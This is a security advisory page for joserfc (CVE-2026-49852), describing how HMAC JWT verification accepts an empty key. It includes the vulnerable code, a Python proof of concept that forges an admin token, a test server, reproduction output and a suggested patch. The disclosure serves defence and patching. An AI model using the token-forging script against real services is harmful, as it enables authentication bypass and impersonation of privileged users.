GHSA-GG9X-QCX2-XMRH
Vulnerability from github – Published: 2026-07-02 19:12 – Updated: 2026-07-02 19:12Summary
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)
Affected versions
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.
Privilege required
Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:
OctKey.import_key(os.environ.get("JWT_SECRET", ""))- A key finder callable that returns
""/Nonefor an unknownkid - Default values like
os.getenv("SECRET") or "",cfg.get("secret", "") - Database / Redis row lookup that returns
""for a missing row
Vulnerable code
src/joserfc/_rfc7518/jws_algs.py:43-70:
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def __init__(self, sha_type, recommended=False):
self.name = f"HS{sha_type}"
self.description = f"HMAC using SHA-{sha_type}"
self.recommended = recommended
self.hash_alg = getattr(self, f"SHA{sha_type}")
self.algorithm_security = sha_type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
src/joserfc/_rfc7518/oct_key.py:52-63:
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
end
invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.
How an empty JWT_SECRET reaches hmac.new
- The application calls
joserfc.jwt.decode(value, key, algorithms=["HS256"])wherekey = OctKey.import_key("")(orOctKey.import_key(b""), or any custom path that yields anOctKeywhoseraw_valueisb""). decode(src/joserfc/jwt.py:86-117) calls_decode_jws(...)→deserialize_compact(value, key, algorithms, registry).deserialize_compact(src/joserfc/jws.py) dispatches toHMACAlgorithm.verify(signing_input, signature, key).verifycallskey.get_op_key("verify")→ returnsb"".hmac.new(b"", signing_input, sha256).digest()is computed; the attacker computed exactly that digest with the same empty key, sohmac.compare_digestreturnsTrueand decode succeeds.
No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.
Proof of concept
Attacker (no secret knowledge):
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
Server harness:
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()
End-to-end reproduction (against pip install joserfc==1.6.7)
# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.py
Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):
forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:
Interpretation:
| Configuration | Observed | Expected |
|---|---|---|
JWT_SECRET unset (== "") |
HTTP 200, admin=True (verified) |
HTTP 401 |
JWT_SECRET = 256-bit value |
HTTP 401, BadSignatureError |
HTTP 401 |
The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.
Impact
- Complete authentication bypass on any service whose key finder resolves
to
""/None(env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub,admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a single
SecurityWarning("Key size should be >= 112 bits") atOctKey.import_keytime and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.
Suggested fix
Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard
reject at len(key.raw_value) == 0, plus a defence-in-depth check in
HMACAlgorithm.sign and HMACAlgorithm.verify after
key.get_op_key(...):
# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if not key.raw_value:
raise ValueError("oct key material must not be empty")
if len(key.raw_value) < 14:
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
...
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
if not op_key:
raise ValueError("HMAC key must not be empty")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
if not op_key:
raise ValueError("HMAC key must not be empty")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in
prepare_key, plus the runtime length checks the underlying hmac
primitive does not perform).
Fix PR
authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.7"
},
"package": {
"ecosystem": "PyPI",
"name": "joserfc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49852"
],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-287",
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:12:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n SHA256 = hashlib.sha256\n SHA384 = hashlib.sha384\n SHA512 = hashlib.sha512\n\n def __init__(self, sha_type, recommended=False):\n self.name = f\"HS{sha_type}\"\n self.description = f\"HMAC using SHA-{sha_type}\"\n self.recommended = recommended\n self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n self.algorithm_security = sha_type\n\n def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n op_key = key.get_op_key(\"sign\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n op_key = key.get_op_key(\"verify\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if len(key.raw_value) \u003c 14:\n # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python\u0027s `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt\u0027s fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n raise_verify_error!(\u0027HMAC key expected to be a String\u0027) unless key.is_a?(String)\n raise_verify_error!(\u0027HMAC key cannot be empty\u0027) if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n attacker computed exactly that digest with the same empty key, so\n `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n \"sub\": \"attacker\", \"admin\": True,\n \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\")) # default = \"\"\n try:\n tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n c = tok.claims\n body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n return [body]\n except Exception as e:\n start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n# state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026 # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub=\u0027attacker\u0027 admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration | Observed | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\") | HTTP 200, `admin=True` (verified) | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker\u0027s token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n operator-misconfiguration precondition; impact otherwise matches\n authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if not key.raw_value:\n raise ValueError(\"oct key material must not be empty\")\n if len(key.raw_value) \u003c 14:\n warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n ...\n def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n op_key = key.get_op_key(\"sign\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n op_key = key.get_op_key(\"verify\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0\u0027s approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-gg9x-qcx2-xmrh",
"modified": "2026-07-02T19:12:08Z",
"published": "2026-07-02T19:12:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/joserfc"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.